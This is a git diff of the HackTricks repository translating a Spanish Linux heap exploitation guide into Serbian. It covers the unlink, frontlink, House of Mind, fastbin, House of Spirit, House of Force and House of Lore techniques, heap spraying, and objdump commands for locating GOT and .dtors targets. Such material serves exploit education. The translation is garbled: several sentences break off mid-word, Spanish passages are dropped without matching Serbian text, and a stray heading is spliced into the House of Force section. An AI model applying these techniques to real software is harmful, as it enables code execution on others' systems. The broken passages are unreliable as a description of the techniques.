-4. -Entonces, el programa se pensará que “a” está libre y en un bin, por lo que llamará a unlink() para desenlazarlo. Sin embargo, como la cabecera PREV\_SIZE vale -4. Se pensará que el trozo de “a” realmente empieza en b+4. Es decir, hará un unlink() a un trozo que comienza en b+4, por lo que en b+12 estará el puntero “fd” y en b+16 estará el puntero “bk”. +Zatim, program će misliti da je "a" slobodan i u binu, pa će pozvati unlink() da ga odveže. Međutim, pošto PREV_SIZE u zaglavlju ima vrednost -4, pomisliće da chunk "a" zapravo počinje na b+4. Drugim rečima, pozvaće unlink() na chunk koji počinje na b+4, pa će u b+12 biti pokazivač "fd", a u b+16 će biti pokazivač "bk". -De esta forma, si en bk ponemos la dirección a la shellcode y en fd ponemos la dirección a la función “puts()”-12 tenemos nuestro payload. +Na ovaj način, ako u bk stavimo adresu shellcode, a u fd stavimo adresu funkcije "puts()"-12, imamo naš payload. -**Técnica de Frontlink** +**Tehnika Frontlink** -Se llama a frontlink cuando se libera algo y ninguno de sus trozos contiguos no son libres, no se llama a unlink() sino que se llama directamente a frontlink(). +Frontlink se poziva kada se nešto oslobađa, a nijedan od susednih chunk-ova nije slobodan. Tada se ne poziva unlink(), već se direktno poziva frontlink(). -Vulnerabilidad útil cuando el malloc que se ataca nunca es liberado (free()). +Korisna ranjivost kada malloc koji se napada nikada nije oslobođen (free()). -Necesita: +Potrebno je: -Un buffer que pueda desbordarse con la función de entrada de datos +Bafer koji može biti preplavljen unosom podataka -Un buffer contiguo a este que debe ser liberado y al que se le modificará el campo fd de su cabecera gracias al desbordamiento del buffer anterior +Susedni bafer koji treba osloboditi i čije će se polje fd u zaglavlju izmeniti zbog preplavljivanja prethodnog bafera -Un buffer a liberar con un tamaño mayor a 512 pero menor que el buffer anterior +Bafer koji treba osloboditi sa veličinom većom od 512, ali manjom od prethodnog bafera -Un buffer declarado antes del paso 3 que permita sobreescribir el prev\_size de este +Bafer koji je deklarisan pre koraka 3 i koji omogućava prepisivanje prev_size-a -De esta forma logrando sobres cribar en dos mallocs de forma descontrolada y en uno de forma controlada pero que solo se libera ese uno, podemos hacer un exploit. +Na ovaj način, preplavljujući dva malloc-a na nekontrolisan način i jedan na kontrolisan način koji se samo oslobađa, možemo izvršiti exploit. -**Vulnerabilidad double free()** +**Ranjivost double free()** -Si se llama dos veces a free() con el mismo puntero, quedan dos bins apuntando a la misma dirección. +Ako se dva puta pozove free() sa istim pokazivačem, imaćemo dva bin-a koji pokazuju na istu adresu. -En caso de querer volver a usar uno se asignaría sin problemas. En caso de querer usar otro, se le asignaría el mismo espacio por lo que tendríamos los punteros “fd” y “bk” falseados con los datos que escribirá la reserva anterior. +Ako želimo ponovo koristiti jedan, to će se desiti bez problema. Ako želimo koristiti drugi, dodeliće mu se isti prostor, pa ćemo imati lažirane pokazivače "fd" i "bk" sa podacima koje će upisati prethodna rezervacija. **After free()** -Un puntero previamente liberado es usado de nuevo sin control. +Prethodno oslobođeni pokazivač se ponovo koristi bez kontrole. -## **8 Heap Overflows: Exploits avanzados** +## **8 Heap preplavljivanje: Napredni exploit-i** -Las técnicas de Unlink() y FrontLink() fueron eliminadas al modificar la función unlink(). +Tehnike Unlink() i FrontLink() su uklonjene izmenom funkcije unlink(). **The house of mind** -Solo una llamada a free() es necesaria para provocar la ejecución de código arbitrario. Interesa buscar un segundo trozo que puede ser desbordado por uno anterior y liberado. +Potrebno je samo jedno oslobođenje (free()) da bi se izvršio proizvoljni kod. Potrebno je pronaći drugi chunk koji može biti preplavljen prethodnim i oslobođen. -Una llamada a free() provoca llamar a public\_fREe(mem), este hace: +Poziv free() dovodi do poziva public\_fREe(mem), koji radi sledeće: mstate ar\_ptr; @@ -877,7 +824,7 @@ mchunkptr p; … -p = mem2chunk(mes); —> Devuelve un puntero a la dirección donde comienza el trozo (mem-8) +p = mem2chunk(mes); —> Vraća pokazivač na adresu na kojoj chunk počinje (mem-8) … @@ -889,11 +836,11 @@ ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr } -En \[1] comprueba el campo size el bit NON\_MAIN\_ARENA, el cual se puede alterar para que la comprobación devuelva true y ejecute heap\_for\_ptr() que hace un and a “mem” dejando a 0 los 2.5 bytes menos importantes (en nuestro caso de 0x0804a000 deja 0x08000000) y accede a 0x08000000->ar\_ptr (como si fuese un struct heap\_info) +U \[1] se proverava polje size bit NON\_MAIN\_ARENA, koje se može promeniti da bi provera vratila true i izvršila se funkcija heap\_for\_ptr(), koja vrši AND operaciju nad "mem" i postavlja na 0 najmanje značajna 2.5 bajta (u našem slučaju od 0x0804a000 postaje 0x08000000) i pristupa 0x08000000->ar\_ptr (kao da je struktura heap\_info) -De esta forma si podemos controlar un trozo por ejemplo en 0x0804a000 y se va a liberar un trozo en **0x081002a0** podemos llegar a la dirección 0x08100000 y escribir lo que queramos, por ejemplo **0x0804a000**. Cuando este segundo trozo se libere se encontrará que heap\_for\_ptr(ptr)->ar\_ptr devuelve lo que hemos escrito en 0x08100000 (pues se aplica a 0x081002a0 el and que vimos antes y de ahí se saca el valor de los 4 primeros bytes, el ar\_ptr) +Na ovaj način, ako možemo kontrolisati chunk na primer na 0x0804a000 i treba osloboditi chunk na **0x081002a0**, možemo doći do adrese 0x08100000 i upisati šta god želimo, na primer **0x0804a000**. Kada se ovaj drugi chunk oslobodi, naći će da heap\_for\_ptr(ptr)->ar\_ptr vraća ono što smo upisali na 0x08100000 (jer se primenjuje AND na 0x081002a0, što smo videli ranije, i iz te vrednosti se uzima vrednost prvih 4 bajta, ar\_ptr) -De esta forma se llama a \_int\_free(ar\_ptr, mem), es decir, **\_int\_free(0x0804a000, 0x081002a0)**\ +Na ovaj način se poziva \_int\_free(ar\_ptr, mem), odnosno **\_int\_free(0x0804a000, 0x081002a0)**\ **\_int\_free(mstate av, Void\_t\* mem){**\ …\ bck = unsorted\_chunks(av);\ @@ -905,36 +852,25 @@ fwd->bk = p; ..} -Como hemos visto antes podemos controlar el valor de av, pues es lo que escribimos en el trozo que se va a liberar. +Kao što smo videli ranije, možemo kontrolisati vrednost av, jer je to ono što pišemo u chunk koji će biti oslobođen. -Tal y como se define unsorted\_chunks, sabemos que:\ +Kako je unsorted\_chunks definisan, znamo da:\ bck = \&av->bins\[2]-8;\ fwd = bck->fd = \*(av->bins\[2]);\ fwd->bk = \*(av->bins\[2] + 12) = p; -Por lo tanto si en av->bins\[2] escribimos el valor de \_\_DTOR\_END\_\_-12 en la última instrucción se escribirá en \_\_DTOR\_END\_\_ la dirección del segundo trozo. +Dakle, ako u av->bins\[2] upišemo vrednost \_\_DTOR\_END\_\_-12, u poslednjoj instrukciji će se upisati u \_\_DTOR\_END\_\_ adresa drugog chunk-a. -Es decir, en el primer trozo tenemos que poner al inicio muchas veces la dirección de \_\_DTOR\_END\_\_-12 porque de ahí la sacará av->bins\[2] - -En la dirección que caiga la dirección del segundo trozo con los últimos 5 ceros hay que escribir la dirección a este primer trozo para que heap\_for\_ptr() piense que el ar\_ptr está al inicio del primer trozo y saque de ahí el av->bins\[2] - -En el segundo trozo y gracias al primero sobreescribimos el prev\_size con un jump 0x0c y el size con algo para activar -> NON\_MAIN\_ARENA - -A continuación en el trozo 2 ponemos un montón de nops y finalmente la shellcode - -De esta forma se llamará a \_int\_free(TROZO1, TROZO2) y seguirá las instrucciones para escribir en \_\_DTOR\_END\_\_ la dirección del prev\_size del TROZO2 el cual saltará a la shellcode. - -Para aplicar esta técnica hace falta que se cumplan algunos requerimientos más que complican un poco más el payload. - -Esta técnica ya no es aplicable pues se aplicó casi el mismo parche que para unlink. Se comparan si el nuevo sitio al que se apunta también le está apuntando a él. +Drugim rečima, u prvom chunk-u moramo na početak staviti adres +Ova tehnika više nije primenjiva jer je gotovo isti zakrpa primenjen kao i za unlink. Upoređuju se da li nova lokacija na koju se pokazuje takođe pokazuje na njega. **Fastbin** -Es una variante de The house of mind +To je varijanta The house of mind -nos interesa llegar a ejecutar el siguiente código al cuál se llega pasada la primera comprobación de la función \_int\_free() +interesuje nas da izvršimo sledeći kod koji se izvršava nakon prvog provere funkcije \_int\_free() -fb = &(av->fastbins\[fastbin\_index(size)] —> Siendo fastbin\_index(sz) —> (sz >> 3) - 2 +fb = &(av->fastbins\[fastbin\_index(size)] —> Gde je fastbin\_index(sz) —> (sz >> 3) - 2 … @@ -942,61 +878,61 @@ p->fd = \*fb \*fb = p -De esta forma si se pone en “fb” da dirección de una función en la GOT, en esta dirección se pondrá la dirección al trozo sobrescrito. Para esto será necesario que la arena esté cerca de las direcciones de dtors. Más exactamente que av->max\_fast esté en la dirección que vamos a sobreescribir. +Na ovaj način, ako se postavi u "fb", daje adresu funkcije u GOT, na ovu adresu će se postaviti adresa prebrisane sekcije. Za ovo će biti potrebno da arena bude blizu adresa dtors. Tačnije, av->max\_fast treba da bude na adresi koju želimo da prepišemo. -Dado que con The House of Mind se vio que nosotros controlábamos la posición del av. +S obzirom da smo sa The House of Mind videli da mi kontrolišemo poziciju av. -Entones si en el campo size ponemos un tamaño de 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() nos devolverá fastbins\[-1], que apuntará a av->max\_fast +Zato, ako u polje size stavimo veličinu od 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() će nam vratiti fastbins\[-1\], koji će pokazivati na av->max\_fast -En este caso av->max\_fast será la dirección que se sobrescrita (no a la que apunte, sino esa posición será la que se sobrescrita). +U ovom slučaju, av->max\_fast će biti adresa koja će biti prebrisana (ne na koju pokazuje, već ta pozicija će biti prebrisana). -Además se tiene que cumplir que el trozo contiguo al liberado debe ser mayor que 8 -> Dado que hemos dicho que el size del trozo liberado es 8, en este trozo falso solo tenemos que poner un size mayor que 8 (como además la shellcode irá en el trozo liberado, habrá que poner al ppio un jmp que caiga en nops). +Takođe, mora se ispuniti uslov da susedni segment oslobođenog segmenta bude veći od 8 -> Pošto smo rekli da je veličina oslobođenog segmenta 8, u ovom lažnom segmentu samo trebamo staviti veličinu veću od 8 (pošto će shellcode biti u oslobođenom segmentu, treba staviti na početak jmp koji će pasti na nops). -Además, ese mismo trozo falso debe ser menor que av->system\_mem. av->system\_mem se encuentra 1848 bytes más allá. +Takođe, isti lažni segment mora biti manji od av->system\_mem. av->system\_mem se nalazi 1848 bajtova dalje. -Por culpa de los nulos de \_DTOR\_END\_ y de las pocas direcciones en la GOT, ninguna dirección de estas secciones sirven para ser sobrescritas, así que veamos como aplicar fastbin para atacar la pila. +Zbog nula iz \_DTOR\_END\_ i malog broja adresa u GOT, nijedna adresa iz ovih sekcija ne može biti prebrisana, pa hajde da vidimo kako primeniti fastbin za napad na stek. -Otra forma de ataque es redirigir el **av** hacia la pila. +Još jedan način napada je preusmeravanje **av** na stek. -Si modificamos el size para que de 16 en vez de 8 entonces: fastbin\_index() nos devolverá fastbins\[0] y podemos hacer uso de esto para sobreescribir la pila. +Ako promenimo veličinu na 16 umesto 8, tada: fastbin\_index() će nam vratiti fastbins\[0\] i to možemo iskoristiti da prepišemo stek. -Para esto no debe haber ningún canary ni valores raros en la pila, de hecho tenemos que encontrarnos en esta: 4bytes nulos + EBP + RET +Za ovo ne sme biti nikakvih canary vrednosti ili čudnih vrednosti na steku, zapravo moramo biti u ovom rasporedu: 4 nula bajta + EBP + RET -Los 4 bytes nulo se necesitan que el **av** estará a esta dirección y el primero elemento de un **av** es el mutexe que tiene que valer 0. +Potrebna su nam 4 nula bajta kako bi **av** bio na toj adresi i prvi element **av** je mutex koji mora biti 0. -El **av->max\_fast** será el EBP y será un valor que nos servirá para saltarnos las restricciones. +**av->max\_fast** će biti EBP i biće vrednost koja će nam omogućiti da zaobiđemo ograničenja. -En el **av->fastbins\[0]** se sobreescribirá con la dirección de **p** y será el RET, así se saltará a la shellcode. +U **av->fastbins\[0\]** će biti prebrisana adresa **p** i biće RET, tako da će se preskočiti na shellcode. -Además, en **av->system\_mem** (1484bytes por encima de la posición en la pila) habrá bastante basura que nos permitirá saltarnos la comprobación que se realiza. +Takođe, u **av->system\_mem** (1484 bajta iznad pozicije na steku) će biti dovoljno smeća koje će nam omogućiti da zaobiđemo proveru koja se vrši. -Además se tiene que cumplir que el trozo contiguo al liberado debe ser mayor que 8 -> Dado que hemos dicho que el size del trozo liberado es 16, en este trozo falso solo tenemos que poner un size mayor que 8 (como además la shellcode irá en el trozo liberado, habrá que poner al ppio un jmp que caiga en nops que van después del campo size del nuevo trozo falso). +Takođe, mora se ispuniti uslov da susedni segment oslobođenog segmenta bude veći od 8 -> Pošto smo rekli da je veličina oslobođenog segmenta 16, u ovom lažnom segmentu samo trebamo staviti veličinu veću od 8 (pošto će shellcode biti u oslobođenom segmentu, treba staviti na početak jmp koji će pasti na nops koji dolaze nakon polja size novog lažnog segmenta). **The House of Spirit** -En este caso buscamos tener un puntero a un malloc que pueda ser alterable por el atacante (por ej, que el puntero esté en el stack debajo de un posible overflow a una variable). +U ovom slučaju tražimo da imamo pokazivač na malloc koji može biti promenjen od strane napadača (na primer, da je pokazivač na steku ispod mogućeg prelivanja promenljive). -Así, podríamos hacer que este puntero apuntase a donde fuese. Sin embargo, no cualquier sitio es válido, el tamaño del trozo falseado debe ser menor que av->max\_fast y más específicamente igual al tamaño solicitado en una futura llamada a malloc()+8. Por ello, si sabemos que después de este puntero vulnerable se llama a malloc(40), el tamaño del trozo falso debe ser igual a 48. +Na taj način, mogli bismo da navedemo da ovaj pokazivač pokazuje gde god želimo. Međutim, ne svako mesto je validno, veličina lažnog segmenta mora biti manja od av->max\_fast i tačnije jednaka veličini koja će biti tražena u budućem pozivu malloc()+8. Zato, ako znamo da se nakon ovog ranjivog pokazivača poziva malloc(40), veličina lažnog segmenta mora biti jednaka 48. -Si por ejemplo el programa preguntase al usuario por un número podríamos introducir 48 y apuntar el puntero de malloc modificable a los siguientes 4bytes (que podrían pertenecer al EBP con suerte, así el 48 queda por detrás, como si fuese la cabecera size). Además, la dirección ptr-4+48 debe cumplir varias condiciones (siendo en este caso ptr=EBP), es decir, 8 < ptr-4+48 < av->system\_mem. +Na primer, ako program pita korisnika za broj, možemo uneti 48 i uputiti promenljivi pokazivač malloc na sledećih 4 bajta (koji mogu pripadati EBP-u sa srećom, tako da 48 ostaje iza, kao da je veličina zaglavlja). Takođe, adresa ptr-4+48 mora zadovoljiti nekoliko uslova (u ovom slučaju ptr=EBP), to jest, 8 < ptr-4+48 < av->system\_mem. -En caso de que esto se cumpla, cuando se llame al siguiente malloc que dijimos que era malloc(40) se le asignará como dirección la dirección del EBP. En caso de que el atacante también pueda controlar lo que se escribe en este malloc puede sobreescribir tanto el EBP como el EIP con la dirección que quiera. +Ako se ovo ispuni, kada se pozove sledeći malloc koji smo rekli da je malloc(40), dodeliće mu se adresa adresa EBP-a. Ako napadač takođe može kontrolisati šta se piše u ovom mallocu, može prebrisati i EBP i EIP sa željenom adresom. -Esto creo que es porque así cuando lo libere free() guardará que en la dirección que apunta al EBP del stack hay un trozo de tamaño perfecto para el nuevo malloc() que se quiere reservar, así que le asigna esa dirección. +Mislim da je to zato što će kada se oslobodi free() zabeležiti da u adresi koja pokazuje na EBP steka postoji segment savršene veličine za novi malloc() koji se želi rezervisati, pa mu dodeljuje tu adresu. **The House of Force** -Es necesario: +Potrebno je: -* Un overflow a un trozo que permita sobreescribir el wilderness -* Una llamada a malloc() con el tamaño definido por el usuario -* Una llamada a malloc() cuyos datos puedan ser definidos por el usuario +* Preplavljivanje segmenta koje omogućava prebrisavanje wildernessa +* Poziv malloc() sa veličinom definisanom od strane korisnika +* Poziv malloc() čiji podaci mogu biti definisani od strane korisnika -Lo primero que se hace es sobreescribir el size del trozo wilderness con un valor muy grande (0xffffffff), así cual quiera solicitud de memoria lo suficientemente grande será tratada en \_int\_malloc() sin necesidad de expandir el heap +Prvo što se radi je prebrisavanje veličine segmenta wilderness sa vrlo velikom vrednošću (0xffffffff), tako da će svaki zahtev za memorijom koji je dovoljno velik biti obrađen u \_int\_malloc() bez potrebe za proširivanjem heap-a. -Lo segundo es alterar el av->top para que apunte a una zona de memoria bajo el control del atacante, como el stack. En av->top se pondrá \&EIP - 8. +Drugo je izmena av->top tako da pokazuje na deo memorije pod kontrolom napadača, kao što je stek. U av->top se postavlja \&EIP - 8. -Tenemos que sobreescrbir av->top para que apunte a la zona de memoria bajo el control del atacante: +Mora se prebrisati av->top tako da pokazuje na deo memorije pod kontrolom napadača: victim = av->top; @@ -1004,98 +940,81 @@ remainder = chunck\_at\_offset(victim, nb); av->top = remainder; -Victim recoge el valor de la dirección del trozo wilderness actual (el actual av->top) y remainder es exactamente la suma de esa dirección más la cantidad de bytes solicitados por malloc(). Por lo que si \&EIP-8 está en 0xbffff224 y av->top contiene 0x080c2788, entonces la cantidad que tenemos que reservar en el malloc controlado para que av->top quede apuntando a $EIP-8 para el próximo malloc() será: +Victim uzima vrednost adrese trenutnog segmenta wilderness (trenutni av->top) i remainder je tačno zbir te adrese plus broj bajtova koji su traženi od strane malloc(). Dakle, ako je \&EIP-8 na adresi 0xbffff224 i av->top sadrži 0x080c2788, tada je količina koju moramo rezervisati u kontrolisanom mallocu kako bi av->top pokazivao na $EIP-8 za sledeći malloc(): 0xbffff224 - 0x080c2788 = 3086207644. -Así se guardará en av->top el valor alterado y el próximo malloc apuntará al EIP y lo podrá sobreescribir. +Na taj način se čuva promenjena vrednost u av->top i sledeći malloc će pokazivati na EIP i moći +## Heap eksploatacija - osnovni ESP -Es importante saber que el size del nuevo trozo wilderness sea más grande que la solicitud realizada por el último malloc(). Es decir, si el wilderness está apuntando a \&EIP-8, el size quedará justo en el campo EBP del stack. +### Overflow sa dva malloc-a -**The House of Lore** +Potrebno je rezervisati dva malloc-a, tako da prvi može biti preplavljen nakon što je drugi oslobođen i ubačen u svoj bin (tj. kada je rezervisan malloc veći od drugog dela pre nego što se preplavi). -**Corrupción SmallBin** +Malloc koji je rezervisan i čija adresa je odabrana od strane napadača mora biti pod kontrolom napadača. -Los trozos liberados se introducen en el bin en función de su tamaño. Pero antes de introduciros se guardan en unsorted bins. Un trozo es liberado no se mete inmediatamente en su bin sino que se queda en unsorted bins. A continuación, si se reserva un nuevo trozo y el anterior liberado le puede servir se lo devuelve, pero si se reserva más grande, el trozo liberado en unsorted bins se mete en su bin adecuado. +Cilj je sledeći: ako možemo preplaviti heap koji ima oslobođen deo ispod sebe i nalazi se u svom bin-u, možemo promeniti njegov bk pokazivač. Ako promenimo bk pokazivač i taj deo postane prvi na listi bin-a i rezerviše se, bin će biti prevaren i reći će mu se da je poslednji deo liste (sledeći koji se nudi) na lažnoj adresi koju smo postavili (na stack ili GOT na primer). Dakle, ako se rezerviše još jedan deo i napadač ima dozvole na njemu, dobiće deo na željenoj poziciji i moći će da piše u njega. -Para alcanzar el código vulnerable la solicitud de memora deberá ser mayor a av->max\_fast (72normalmente) y menos a MIN\_LARGE\_SIZE (512). +Nakon što je promenjen deo oslobođenog dela, potrebno je rezervisati deo koji je veći od oslobođenog, tako da promenjeni deo izađe iz unsorted bin-a i ubaci se u svoj bin. -Si en los bin hay un trozo del tamaño adecuado a lo que se pide se devuelve ese después de desenlazarlo: +Kada se nalazi u svom bin-u, vreme je da se promeni bk pokazivač preko preplavljenosti kako bi pokazivao na adresu koju želimo da prepišemo. -bck = victim->bk; Apunta al trozo anterior, es la única info que podemos alterar. +Dakle, bin mora da čeka da se dovoljno puta pozove malloc() kako bi se ponovo koristio promenjeni bin i prevario bin tako što će mu se reći da je sledeći deo na lažnoj adresi. A zatim će biti dat deo koji nam je potreban. -bin->bk = bck; El penúltimo trozo pasa a ser el último, en caso de que bck apunte al stack al siguiente trozo reservado se le dará esta dirección +Da bi se izvršila ranjivost što je pre moguće, idealno bi bilo: rezervacija ranjivog dela, rezervacija dela koji će biti promenjen, oslobođenje tog dela, rezervacija dela koji je veći od dela koji će biti promenjen, promena dela (ranjivost), rezervacija dela iste veličine kao ranjivi deo i rezervacija drugog dela iste veličine koji će pokazivati na odabranu adresu. -bck->fd = bin; Se cierra la lista haciendo que este apunte a bin +Da bi se zaštitio od ovog napada, koristi se tipična provera da deo "nije" lažan: proverava se da li bck->fd pokazuje na žrtvu. Drugim rečima, u našem slučaju, ako pokazivač fd* lažnog dela na stack-u pokazuje na žrtvu. Da bi se prevazišla ova zaštita, napadač mora biti sposoban da na neki način (verovatno preko stack-a) upiše odgovarajuću adresu žrtve na odgovarajuću adresu. Tako će izgledati kao pravi deo. -Se necesita: +### Korupcija LargeBin-a -Que se reserven dos malloc, de forma que al primero se le pueda hacer overflow después de que el segundo haya sido liberado e introducido en su bin (es decir, se haya reservado un malloc superior al segundo trozo antes de hacer el overflow) +Potrebni su isti uslovi kao i pre, ali i neki dodatni, osim toga, rezervisani delovi moraju biti veći od 512. -Que el malloc reservado al que se le da la dirección elegida por el atacante sea controlada por el atacante. +Napad je isti kao i prethodni, tj. potrebno je promeniti bk pokazivač i potrebni su svi ti pozivi malloc(), ali takođe je potrebno promeniti veličinu promenjenog dela tako da ta veličina - nb bude < MINSIZE. -El objetivo es el siguiente, si podemos hacer un overflow a un heap que tiene por debajo un trozo ya liberado y en su bin, podemos alterar su puntero bk. Si alteramos su puntero bk y este trozo llega a ser el primero de la lista de bin y se reserva, a bin se le engañará y se le dirá que el último trozo de la lista (el siguiente en ofrecer) está en la dirección falsa que hayamos puesto (al stack o GOT por ejemplo). Por lo que si se vuelve a reservar otro trozo y el atacante tiene permisos en él, se le dará un trozo en la posición deseada y podrá escribir en ella. +Na primer, postavićemo veličinu na 1552 kako bi 1552 - 1544 = 8 < MINSIZE (oduzimanje ne sme biti negativno jer se upoređuje sa unsigned vrednošću). -Tras liberar el trozo modificado es necesario que se reserve un trozo mayor al liberado, así el trozo modificado saldrá de unsorted bins y se introduciría en su bin. +Takođe je uveden zakrpa da bi to bilo još teže. -Una vez en su bin es el momento de modificarle el puntero bk mediante el overflow para que apunte a la dirección que queramos sobreescribir. +### Heap Spraying -Así el bin deberá esperar turno a que se llame a malloc() suficientes veces como para que se vuelva a utilizar el bin modificado y engañe a bin haciéndole creer que el siguiente trozo está en la dirección falsa. Y a continuación se dará el trozo que nos interesa. +Osnovna ideja je rezervisati što više memorije za heap-ove i popuniti ih jastukom od nops-a koji se završava shellcode-om. Osim toga, kao jastuk se koristi 0x0c. Pokušaćemo da skočimo na adresu 0x0c0c0c0c, tako da ako se neka adresa preplavi sa ovim jastukom i pozove se, skočiće tamo. Osnovna taktika je rezervisati što je više moguće da bismo videli da li se neki pokazivač preplavljuje i skočiti na 0x0c0c0c0c u nadi da će tamo biti nops. -Para que se ejecute la vulnerabilidad lo antes posible lo ideal sería: Reserva del trozo vulnerable, reserva del trozo que se modificará, se libera este trozo, se reserva un trozo más grande al que se modificará, se modifica el trozo (vulnerabilidad), se reserva un trozo de igual tamaño al vulnerado y se reserva un segundo trozo de igual tamaño y este será el que apunte a la dirección elegida. +### Heap Feng Shui -Para proteger este ataque se uso la típica comprobación de que el trozo “no” es falso: se comprueba si bck->fd está apuntando a victim. Es decir, en nuestro caso si el puntero fd\* del trozo falso apuntado en el stack está apuntando a victim. Para sobrepasar esta protección el atacante debería ser capaz de escribir de alguna forma (por el stack probablemente) en la dirección adecuada la dirección de victim. Para que así parezca un trozo verdadero. +Sastoji se od rezervacija i oslobođenja memorije na način da se delovi memorije rezervišu između oslobođenih delova. Buffer koji će biti preplavljen će biti smešten u jednom od tih delova. -**Corrupción LargeBin** +### objdump -d izvršni_fajl —> Disas funkcije +### objdump -d ./PROGRAM | grep FUNKCIJA —> Dobijanje adrese funkcije +### objdump -d -Mintel ./shellcodeout —> Da biste videli da li je to zaista naš shellcode i izvukli OpCodes +### objdump -t ./exec | grep varBss —> Tabela simbola, da biste dobili adresu promenljive i funkcije +### objdump -TR ./exec | grep exit(func lib) —> Da biste dobili adresu funkcija biblioteka (GOT) +### objdump -d ./exec | grep funcCode +### objdump -s -j .dtors /exec +### objdump -s -j .got ./exec +### objdump -t --dynamic-relo ./exec | grep puts —> Izvlači adresu puts-a koju treba prebrisati u GOT-u +### objdump -D ./exec —> Disas sve do ulaza u plt +### objdump -p -/exec +### Info functions strncmp —> Info o funkciji u gdb -Se necesitan los mismos requisitos que antes y alguno más, además los trozos reservados deben ser mayores a 512. - -El ataque es como el anterior, es decir, ha que modificar el puntero bk y se necesitan todas esas llamadas a malloc(), pero además hay que modificar el size del trozo modificado de forma que ese size - nb sea < MINSIZE. - -Por ejemplo hará que poner en size 1552 para que 1552 - 1544 = 8 < MINSIZE (la resta no puede quedar negativa porque se compara un unsigned) - -Además se ha introducido un parche para hacerlo aún más complicado. - -**Heap Spraying** - -Básicamente consiste en reservar tooda la memoria posible para heaps y rellenar estos con un colchón de nops acabados por una shellcode. Además, como colchón se utiliza 0x0c. Pues se intentará saltar a la dirección 0x0c0c0c0c, y así si se sobreescribe alguna dirección a la que se vaya a llamar con este colchón se saltará allí. Básicamente la táctica es reservar lo máximos posible para ver si se sobreescribe algún puntero y saltar a 0x0c0c0c0c esperando que allí haya nops. - -**Heap Feng Shui** - -Consiste en mediante reservas y liberaciones sementar la memoria de forma que queden trozos reservados entre medias de trozos libres. El buffer a desbordar se situará en uno de los huevos. - -**objdump -d ejecutable** —> Disas functions\ -**objdump -d ./PROGRAMA | grep FUNCION** —> Get function address\ -**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes\ -**objdump -t ./exec | grep varBss** —> Tabla de símbolos, para sacar address de variables y funciones\ -**objdump -TR ./exec | grep exit(func lib)** —> Para sacar address de funciones de librerías (GOT)\ -**objdump -d ./exec | grep funcCode**\ -**objdump -s -j .dtors /exec**\ -**objdump -s -j .got ./exec**\ -**objdump -t --dynamic-relo ./exec | grep puts** —> Saca la dirección de puts a sobreescribir en le GOT\ -**objdump -D ./exec** —> Disas ALL hasta las entradas de la plt\ -**objdump -p -/exec**\ -**Info functions strncmp —>** Info de la función en gdb - -## Interesting courses +## Interesantni kursevi * [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io) * [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE) -## **References** +## **Reference** * [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini da podržite HackTricks: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju oglašenu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
diff --git a/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md b/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md index dee81c565..fdc5e4c1a 100644 --- a/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md +++ b/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md @@ -1,114 +1,109 @@ - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* 